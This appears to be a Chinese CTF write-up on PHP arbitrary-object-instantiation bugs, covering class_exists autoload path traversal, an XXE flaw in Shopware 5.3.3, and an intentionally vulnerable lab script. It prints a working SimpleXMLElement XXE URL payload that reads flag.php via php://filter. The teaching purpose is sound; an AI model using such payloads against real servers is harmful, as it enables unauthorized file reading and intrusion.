[红日Day3-CTF]实例化任意对象漏洞

[红日Day3-CTF]实例化任意对象漏洞

知识点:

class_exists :(PHP 4, PHP 5, PHP 7)

功能 :检查类是否已定义

定义bool class_exists ( string $class_name[, bool $autoload = true ] )

$class_name 为类的名字,在匹配的时候不区分大小写。默认情况下 $autoloadtrue ,当 $autoloadtrue 时,会自动加载本程序中的 __autoload 函数;当 $autoloadfalse 时,则不调用 __autoload 函数。

SimpleXMLElement :(PHP 5, PHP 7)

功能 :用来表示XML文档中的元素,为PHP的内置类。

[红日Day3-CTF]实例化任意对象漏洞

[红日Day3-CTF]实例化任意对象漏洞

可以看到通过设置第三个参数data_is_urltrue,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数data就是我们自己设置的payloadurl地址,即用于引入的外部实体的url

这样的话,当我们可以控制目标调用的类的时候,便可以通过SimpleXMLElement这个内置类来构造 XXE。

解题:

[红日Day3-CTF]实例化任意对象漏洞

这段代码中存在两个安全漏洞。第一个是文件包含漏洞,第8行中使用了class_exists()函数来判断用户传过来的控制器是否存在,默认情况下,如果程序存在__autoload函数,那么在使用class_exists()函数就会自动调用本程序中的__autoload函数,文件包含漏洞就出现在这个地方。攻击者可以使用路径穿越来包含任意文件,当然使用路径穿越符号的前提是PHP5~5.3(包含5.3版本)版本之间才可以。例如类名为:../../../../etc/passwd的查找,将查看passwd文件内容

第二个漏洞在上图第9行中,我们发现实例化类的类名和传入类的参数均在用户的控制之下。攻击者可以通过该漏洞,调用PHP代码库的任意构造函数。即使代码本身不包含易受攻击的构造函数,我们也可以使用PHP的内置类SimpleXMLElement来进行XXE攻击,进而读取目标文件的内容,甚至命令执行(前提是安装了PHP拓展插件expect),

关于SimpleXMLElement导致的XXE攻击,下面再给出一个demo案例,

[红日Day3-CTF]实例化任意对象漏洞

实例分析:

选取的是Shopware 5.3.3版本,对SimpleXMLElement类导致的XXE漏洞进行分析,而class_exists()函数,我们将会在本次给出的CTF题目中深入讨论。我们来看一下本次漏洞的文件,在engine\Shopware\Controllers\Backend\ProductStream.php文件中有一个loadPreviewAction方法,其作用是用来预览产品流的详细信息,具体代码如下:

[红日Day3-CTF]实例化任意对象漏洞

该方法接收从用户传来的参数sort,然后传入Repository类的unserialize方法(如上图第11-14行代码),我们跟进Repository类,查看unserialize方法的实现。

[红日Day3-CTF]实例化任意对象漏洞

可以看到Repository类的unserialize方法,调用的是LogawareReflectionHelper类的unserialize方法(如上图第5行代码),

[红日Day3-CTF]实例化任意对象漏洞

这里的$serialized就是我们刚刚传入的sort(上图第3行),程序分别从sort中提取出值赋给$className$arguments变量,然后这两个变量被传入ReflectionHelper类的createInstanceFromNamedArguments方法。

[红日Day3-CTF]实例化任意对象漏洞

这里我们关注第6行代码,这里创建了一个反射类,而类的名称就是从$sort变量来的,可被用户控制利用。

在代码第28行处用$newParams作为参数,创建一个新的实例对象。而这里的$newParams是从$arguments[$paramName]中取值的,$arguments又是我们可以控制的,因为也是从$sort变量来,所以我们可以通过这里来实例化一个SimpleXMLElement类对象,形成一个XXE漏洞。

CTF:

// index.php
<?php
class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
	function ($class){
		new NotFound();
	}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){//class_exists函数查找是否存在该类名,不存在调用spl_autoload_register
	$newclass = new $classname($param,$param2);
	var_dump($newclass);
    foreach ($newclass as $key=>$value)
        echo $key.'=>'.$value.'<br>';
}
// flag.php
<?php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";
?>

解题:

我们发现这里的类和类里面的参数都是我们可以控制的,满足了上面咱们提到的实例化漏洞。也就是说,我们可以调用PHP的内置类来完成我们的攻击。

发现:

foreach ($newclass as $key=>$value)
        echo $key.'=>'.$value.'<br>';

直接想到GlobIterator原生类

所以payload如下:

[红日Day3-CTF]实例化任意对象漏洞

发现flag.php使用内置类SimpleXMLElement读取flag.php文件的内容,,

http://127.0.0.1/?name=SimpleXMLElement&param=<?xml version="1.0?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file://D:/phpstudy_pro/WWW/flag.php">]><x>&xxe;</x>&param2=2

[红日Day3-CTF]实例化任意对象漏洞

上一篇:HDLBits在线练习题之Exams/2014 q3fsm


下一篇:Spark sql join的三种实现方式之浅见